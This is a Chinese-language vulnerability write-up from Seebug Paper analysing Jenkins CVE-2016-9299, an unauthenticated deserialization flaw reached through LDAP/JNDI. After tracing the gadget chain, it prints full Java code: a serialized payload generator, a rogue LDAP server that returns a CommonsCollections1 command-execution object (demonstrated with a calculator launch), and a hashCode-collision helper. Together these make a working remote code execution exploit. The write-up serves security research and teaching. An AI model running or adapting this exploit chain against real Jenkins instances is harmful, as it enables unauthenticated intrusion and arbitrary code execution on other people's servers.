作者:iswin
這個漏洞在去年11月份官方發布通告的時候我當時關注過,當時自己一直在找com.sun.jndi.ldap.LdapAttribute這個類相關的反序列化,當時意識到這個類里面的
_getAttributeSyntaxDefinition()_方法和_getAttributeDefinition()_可能會存在反序列化的問題,但是當時找了好多類,發現在反序列化的時候都無法觸發這兩個方法,原本以為是jdk里面自己的問題,最后就沒繼續跟下去了,中途有老外放出了一個ppt里面演示了這個漏洞,大概看了下發現是利用json來bypass Jenkins的白名單,當時一直在忙數據分析的事情,事情就擱淺了,前不久剛好MSF上有Payload了,再加上年底了沒那么多事了,所以就研究了下,這個漏洞還是挺有意思的,涉及的知識面還是稍微廣了一點,這里不得不佩服那些漏洞發現者。每當一個漏洞漏洞出現的時候,我就在想為什么自己不能發現,當每次漏洞分析完的時候才發現各方面的差距真的是不小。
技術在于分享,這樣才能進步。
漏洞簡介
2016年11月16號Jenkins官方發布了一個安全通告,命名為CVE-2016-9299,從通告上來看,該漏洞依然是個反序列的漏洞,不過這個漏洞的反序列化和LDAP有關,而且在反序列化后需要連接到一個惡意的LDAP服務器,Jenkins對于之前反序列化的修復方法就是對一些惡意的類加上黑名單,所以這里首先得Bypass官方的黑名單,對于該漏洞只有這么多信息,而且在官方給的POC里面也僅僅是提到了com.sun.jndi.ldap.LdapAttribute這個類,這個漏洞的利用首先是不需要認證的,而且能任意代碼執行,危害可見一斑。
漏洞分析
從官方的描述以及后面的Payload來看,問題和net.sf.json以及com.sun.jndi.ldap.LdapAttribute有關,通過分析對LdapAttribute這個類的分析,我們可以確定以下兩個方法是觸發反序列化漏洞的根本(關于下文中LDAP的反序列相關的知識請移步16年blackhat老外的Paper “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”)
- getAttributeSyntaxDefinition
- getAttributeDefinition
這兩個方法中都調用了該_DirContext schema = getBaseCtx().getSchema(rdn);_代碼片段其中getBaseCtx()方法定義如下:

該段代碼使用jndi的方式去訪問LDAP服務,這里我們可以控制Context.PROVIDER_URL的參數,從而控制jndi訪問的LDAP服務器的地址。
getSchema(rdn)方法最終會調用com.sun.jndi.ldap.LdapBindingEnumeration.createItem(String, Attributes, Vector)方法(調用關系太多,自己去調試),該方法的定義如下圖

在該方法中最終會調用Obj.decodeObject(attrs)方法,從而實現對象的反序列化。這里稍微提下,com.sun.jndi.ldap.Obj對象中定義了幾種對象序列化與反序列化的方法,有直接反序列化的,也有直接通過遠程加載的,這里的的反序列化稍微與其它地方的反序列化不同的點在于我們不能遠程加載對象,因為com.sun.jndi.ldap.VersionHelper12.trustURLCodebase的默認值為false,所以直接決定了類加載器只能加載當前classpath下面的類,關于如何去構造對象使得LDAP在反序列化能執行任意代碼,請看下文。
到這里我們知道了com.sun.jndi.ldap.LdapAttribute中相關的方法能觸發反序列化的漏洞,那么現在我們要做的就是去找到一個類在反序列化的時候能調用我們相應觸發漏洞的函數,也就是在反序列化時能調用getAttributeSyntaxDefinition方法或者getAttributeDefinition方法的類,通過老外的PPT以及公開的gadgets,我們稍微分析下就會發現在net.sf.json這個類庫中存在可以調用類任意getXXX函數的地方,那么com.sun.jndi.ldap.LdapAttribute這個類中的getXXX方法是不是也可以通過這種方式來調用,首先我們先確定究竟是那個類中的那個方法能調用getXXX函數,通過gadgets中的json Payload我們發現最終能調用對象的getXXX函數如下圖(net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig))所示
上圖中圈起來的兩個地方就是能調用getXXX函數的地方,這里會先遍歷javabean的所有屬性,最后在挨個的調用。
弄明白了能函數調用的根源,下一步就是去找這個函數究竟會怎樣觸發。通過eclipse我們可以很容易發現如下調用方式。

如上圖所示,我們可以看見defaultBeanProcessing方法最終會被ConcurrentSkipListSet類中的equals方法調用,到這里很多人可能會問了,那么多調用關系,你為什么就找這個類的equals方法,這里可能會有一些經驗在里面,因為對于和equals方法相關的東西太多了,對于java中的某些數據結構,例如Set,每次添加元素的時候都會判斷當前key是否存在,還有就是比較兩個對象是否相等的時候會去調用hashcode和equals方法,這里如果了解過其它反序列化的同學對此可能會稍有感觸,例如jdk的那個反序列化的觸發過程。如果這種經驗沒有的話,那么你只能一個一個的去找了。
最終我們找到了一個類可以的某個方法可以調用我們的函數了,但是你可能會發現在eclipse中這樣的函數調用關系大多是多態情況下的方法調用,所以我們還需要對equals方法中的方法調用進行分析,這里我們需要注意的是defaultBeanProcessing這個函數的直接調用對象是net.sf.json.JSONArray.fromObject(Object, JsonConfig)方法,我們來看下equals方法

在這個方法里面有兩處調用了containsAll方法,我們要看看究竟是那個可能會調用fromObject,我們再來看下fromObject的調用關系,如下圖

你會發現JSONArray調用了containsAll方法,
containsAll(c) && c.containsAll(this);
這里的第一個containsAll方法是觸發不了的那個函數的,所以我們只要滿足對象o是JSONArray就行了,但是事實上是不行了,因為這個對象o不是Set的子類,所以這條路到這基本上就走不通了,所以我們還得繼續找。
繼續回到c.containsAll這個地方我們再找那些函數最終調用了containsAll,這里我們發現org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(Collection)這個抽象類調用了,來看改函數的定義
protected Collection collection;
....
public boolean containsAll(Collection coll) {
return collection.containsAll(coll);
}
這里最終會調用collection.containsAll方法,如果這里我們將collection賦值為JSONArray對象的話不照樣觸發漏洞么,由于AbstractCollectionDecorator這個類是抽象的,無法實例化,所以我們得找一個它的子類,注意這里我們必須得滿足子類是實現了Set接口并且是可以序列化的,所以找到最后我們找到了org.apache.commons.collections.set.ListOrderedSet這個類。這里只需要滿足父類的collection是JSONArray就行了。
到這里我們知道了只需要讓equals方法中的對象o賦值成org.apache.commons.collections.set.ListOrderedSet的實例就行了。
接下來我們要去找關于equals的調用關系了,直接使用eclipse我們可以找到org.apache.commons.collections.map.Flat3Map.put(Object, Object)這個類(詳細過程大家自己去跟),這個類有個更重要的一點是

這個類在反序列化的時候恰好就觸發了這個put函數,最終觸發我們精心構造的對象。
這個Flat3Map有個特點就是當map的元素小于等于3的時候會用類成員變量來存儲數據,而且這里還必須得調用equals方法。

悲劇的是這里我們需要構造兩個對象也就是我們剛才討論的,一個是ListOrderedSet一個是concurrentSkipListSet對象,但是這里我們需要滿足這兩個對象的key值的hashcode必須相同。 這里的hashcode要么全為0這樣是最好的,也就是key為空字符串就行了,但是我們要構造的Payload里面必須要有JSONArray對象,這個對象默認的hashcode是29,不管怎么弄都不可能相等,不過這里我們可以用hashcode碰撞來解決hashcode值相同問題。
這里我們關鍵的漏洞是怎么觸發的已經浪費了大量的篇幅來說明,下來就是要去構造POC了,這里具體細節就比較簡單了,不做過多的描述了。
Payload-LDAP-JNDI
這里直接給出生成Ldap序列化的Payload,如果誰有什么疑問可以郵件交流。
@author iswin
public static void main(String[] args) throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException, Exception {
Object o = Reflections.getFirstCtor("com.sun.jndi.ldap.LdapAttribute").newInstance("iswin");
Reflections.setFieldValue(o, "baseCtxURL", "ldap://127.0.0.1:38900");
ConcurrentSkipListSet sets = new ConcurrentSkipListSet(new NullComparator());
sets.add(o);
ListOrderedSet set = new ListOrderedSet();
JSONArray array = new JSONArray();
array.add("\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004");
Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),
"collection", array);
Flat3Map map = new Flat3Map();
map.put(set, true);
map.put(sets, true);
//如果不在這里更改值,則滿足不了hash相等條件,如果在之前設置為空,那么在Flat3Map的put方法時就會觸發漏洞,則不能完成生成payload。
Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), "attrID", "");
byte[] bt = Serializer.serialize(map);
Deserializer.deserialize(bt);
}
Payload-LDAP-SERVER
剛開始以為主要能生成序列化的Payload然后隨便找個LDAP服務器弄個序列化的對象丟上去就行了,但是事實好像沒有那么簡單,我用apacheds模擬了好久就是不行,后來看了下上文提到的那個Obj.decodeObject(attrs)方法,發現這個必須要LDAP服務器返回的信息中必須包含某些屬性,例如javaSerializedData,但是每次去請求總是達不到效果,后來去瞅了下msf上的payload,大概明白了一點,后來懶得去弄了,就學習了下ldap協議的rfc文檔,熟悉了下asn1標記語言(有耐心的同學可以仔細看看),具體解釋如下

直接將msf上的那個模擬的服務端中的asn1部分直接拿java重寫了下。 整體代碼如下:
@author iswin
public class LdapServer {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
}
return data;
}
public static String bytesToHex(byte[] bytes) {
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
public static byte[] make_stage_reply() throws Exception {
Object payload = CommonsCollections1.class.newInstance().getObject("open /Applications/Calculator.app");
ByteArrayOutputStream objpayload = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(objpayload);
oo.writeObject(payload);
Sequence sq = new Sequence();
sq.addElement(new OctetString("javaClassName".getBytes()));
Set s0 = new Set();
s0.addElement(new OctetString("WTF".getBytes()));
sq.addElement(s0);
Sequence sq1 = new Sequence();
sq1.addElement(new OctetString("javaSerializedData".getBytes()));
Set s = new Set();
s.addElement(new OctetString(objpayload.toByteArray()));
sq1.addElement(s);
Sequence sq2 = new Sequence();
sq2.addElement(sq);
sq2.addElement(sq1);
Sequence sq3 = new Sequence();
sq3.addElement(new OctetString("cn=wtf, dc=example, dc=com".getBytes()));
sq3.addElement(sq2);
sq3.setTagClass(Tag.APPLICATION);
sq3.setTagNumber(4);
Sequence sqall = new Sequence();
sqall.addElement(new ASN1Integer(3L));
sqall.addElement(sq3);
ByteArrayOutputStream opt = new ByteArrayOutputStream();
sqall.encode(new BerOutputStream(opt, BerOutputStream.ENCODING_DER));
return opt.toByteArray();
}
public static void read_ldap_packet(Socket socket) {
try {
InputStream sin = socket.getInputStream();
byte[] sinb = new byte[2];
sin.read(sinb);
if (sinb[0] != '0') {
return;
}
int length = (char) (sinb[1] & 0xFF);
if ((length & (1 << 7)) != 0) {
int length_bytes_length = length ^ (1 << 7);
byte[] length_bytes = new byte[length_bytes_length];
sin.read(length_bytes);
int sum = 0;
for (int i = 0; i < length_bytes.length; i++) {
sum += (length_bytes[i] & 0xFF);
}
length = sum;
}
// System.out.println("length" + length);
byte[] tmp = new byte[length];
sin.read(tmp);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void socketServer() throws Exception {
try {
ServerSocket server = new ServerSocket(38900);
Socket ss = server.accept();
OutputStream out = new BerOutputStream(ss.getOutputStream());
read_ldap_packet(ss);
out.write(hexStringToByteArray("300c02010161070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(hexStringToByteArray(
"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"));
out.write(hexStringToByteArray("300c02010265070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(make_stage_reply());
out.write(hexStringToByteArray("300c02010365070a010004000400"));
out.flush();
out.close();
ss.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
socketServer();
}
}
最后再來簡單說下那個Obj.decodeObject(attrs)的Payload構造問題,有的同學肯定會說了jndi不是直接可以遠程加載類然后實例化么,這個問題再上門說過了,對于LDAP的jndi這個方法是行不通的,我們來看看這個Obj類到底是怎么處理的

這里我們可以看到這里定義多種不同的方式來去解析對象, ClassLoader cl = helper.getURLClassLoader(codebases); 這個類加載器是從codebase的URL中去加載涉及的相關類,但是我看下具體方法

所以默認是加載不了codebase中定義的類的,一旦這樣我們就只能構造相關反序列化漏洞的POC,讓類在Jenkins進行反序列化時再觸發漏洞了,不過這樣子的話Payload很有可能不成功。
關于hashcode的碰撞問題
這樣叫不知道對不對,姑且這樣叫吧,老外早就研究過這個問題,我直接把代碼丟出來,可以碰撞出任意數值的hashcode值,大家在使用的時候要注意版權問題。
package iswin;
public class HashCollision {
public static String convert(String str) {
str = (str == null ? "" : str);
String tmp;
StringBuffer sb = new StringBuffer(1000);
char c;
int i, j;
sb.setLength(0);
for (i = 0; i < str.length(); i++) {
c = str.charAt(i);
sb.append("\\u");
j = (c >>> 8); // 取出高8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
j = (c & 0xFF); // 取出低8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
}
return (new String(sb));
}
public static String string2Unicode(String string) {
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < string.length(); i++) {
// 取出每一個字符
char c = string.charAt(i);
// 轉換為unicode
unicode.append("\\u" + Integer.toHexString(c));
}
return unicode.toString();
}
/**
* Returns a string with a hash equal to the argument.
*
* @return string with a hash equal to the argument.
* @author - Joseph Darcy
*/
public static String unhash(int target) {
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
/**
*
* @author - Joseph Darcy
*/
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) {
System.out.println(convert(unhash(877174790)));
System.out.println("\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b".hashCode());
}
}
補一張成功利用的截圖

總結
只要方向對,擼起袖子加油干!
參考
[1] https://github.com/rapid7/metasploit-framework/pull/7815
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/199/
暫無評論